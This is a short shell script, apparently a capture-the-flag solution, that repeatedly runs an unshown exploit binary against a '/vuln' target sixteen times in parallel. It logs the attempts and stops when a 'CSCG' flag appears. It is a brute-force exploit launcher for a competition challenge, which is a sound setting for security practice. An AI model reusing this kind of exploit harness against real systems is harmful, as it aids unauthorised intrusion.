remote (1050B)
1#!/bin/sh 2 3echo start 4i=0 5k=0 6while [ 1 ]; do 7 i=$((i+1)); 8 echo "$i $k" 9 ./solve_static "/vuln | tee /dev/stderr" 2> log1 & 10 ./solve_static "/vuln | tee /dev/stderr" 2> log2 & 11 ./solve_static "/vuln | tee /dev/stderr" 2> log3 & 12 ./solve_static "/vuln | tee /dev/stderr" 2> log4 & 13 ./solve_static "/vuln | tee /dev/stderr" 2> log5 & 14 ./solve_static "/vuln | tee /dev/stderr" 2> log6 & 15 ./solve_static "/vuln | tee /dev/stderr" 2> log7 & 16 ./solve_static "/vuln | tee /dev/stderr" 2> log8 & 17 ./solve_static "/vuln | tee /dev/stderr" 2> log9 & 18 ./solve_static "/vuln | tee /dev/stderr" 2> log10 & 19 ./solve_static "/vuln | tee /dev/stderr" 2> log11 & 20 ./solve_static "/vuln | tee /dev/stderr" 2> log12 & 21 ./solve_static "/vuln | tee /dev/stderr" 2> log13 & 22 ./solve_static "/vuln | tee /dev/stderr" 2> log14 & 23 ./solve_static "/vuln | tee /dev/stderr" 2> log15 & 24 ./solve_static "/vuln | tee /dev/stderr" 2> log16 & 25 wait 26 l=$(cat log* | grep "Invalid option" | wc -l) 27 echo "$l/16" 28 k=$((k+l)) 29 cat log* | grep CSCG && break 30done